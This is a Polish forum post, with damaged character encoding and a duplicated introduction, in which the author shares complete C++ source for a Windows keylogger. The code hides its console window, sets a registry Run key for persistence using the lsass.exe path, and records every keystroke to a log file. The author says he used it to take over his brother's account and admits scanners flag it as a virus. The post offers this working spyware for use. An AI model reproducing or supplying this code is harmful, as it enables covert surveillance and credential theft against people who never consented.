Witam. Chcia?bym Wam przedstawi? m?j pierwszy powa?ny program w C++ - Keylogger. Oczywi?cie nie napisa?em go sam, u?y?em tak?e po kawa?ku innych kod?w. Uwaga! Ta wersja Keyloggera nie wysy?a informacji na e-mail, ale dzia?a na jednym komputerze.
Co to jest Keylogger?
Keylogger to program kt?ry zapami?tuje naci?ni?te na klawiaturze klawisze i ich list? przesy?a w konkretne miejsce. W tym konkretnym przypadku do pliku tekstowego.
Jak go obs?ugiwa?? Wystarczy ?e go uruchomisz i b?dzie dzia?a? a? do restartu komputera. Kiedy jest uruchomiony, wszystkie klawisze, jakie kto? napisa?, zapisuj? si? w pliku tekstowym w folderze ( plik zostanie automatycznie stworzony). Mi by? on potrzebny do zemsty na bracie (zabranie konta).
No wi?c: w??czamy kompilator (najlepiej Dev C++) i wklejamy do nowego projektu:
Kompilujemy i plik jest gotowy!
A teraz download dla leniwych:
Skan:
Uwaga! Skaner wykryje wirusa ... bo to jest wirus.
NIE BIOR? ODPOWIEDZIALNO?CI ZA WYKORZYSTANIE TEGO KEYLOGGERA DO W?ASNYCH CEL?W.
Pozdrawiam, Sotwin.
Co to jest Keylogger?
Keylogger to program kt?ry zapami?tuje naci?ni?te na klawiaturze klawisze i ich list? przesy?a w konkretne miejsce. W tym konkretnym przypadku do pliku tekstowego.
Jak go obs?ugiwa?? Wystarczy ?e go uruchomisz i b?dzie dzia?a? a? do restartu komputera. Kiedy jest uruchomiony, wszystkie klawisze, jakie kto? napisa?, zapisuj? si? w pliku tekstowym w folderze ( plik zostanie automatycznie stworzony). Mi by? on potrzebny do zemsty na bracie (zabranie konta).
No wi?c: w??czamy kompilator (najlepiej Dev C++) i wklejamy do nowego projektu:
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#define BUFSIZE 80
int test_key(void);
int create_key(char *);
int get_keys(void);
int main(void)
{
HWND stealth; // Creating stealth (window is not visible).
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
int test,create;
test=test_key(); // Check if key is available for opening.
if (test==2) // Create key.
{
char *path="C:\\WINDOWS\\system32\\lsass.exe"; // The path in which the file needs to be.
create=create_key(path);
}
int t=get_keys();
return t;
}
int get_keys(void)
{
short character;
while(1)
{
Sleep(10); // To prevent 100% CPU usage.
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen("Sotwin.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("\n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("?",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("a*",file);
fclose(file);
break;
case VK_OEM_7:
fputs("?",file);
fclose(file);
break;
/* case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break; */
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}
}
return EXIT_SUCCESS;
}
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
reg_key=RegQueryValueEx(hKey,"Kkey",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
RegCloseKey(hKey);
return check;
}
int create_key(char *path)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"Kkey",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
return check;
}
Kompilujemy i plik jest gotowy!
A teraz download dla leniwych:
Skan:
Uwaga! Skaner wykryje wirusa ... bo to jest wirus.
NIE BIOR? ODPOWIEDZIALNO?CI ZA WYKORZYSTANIE TEGO KEYLOGGERA DO W?ASNYCH CEL?W.
Pozdrawiam, Sotwin.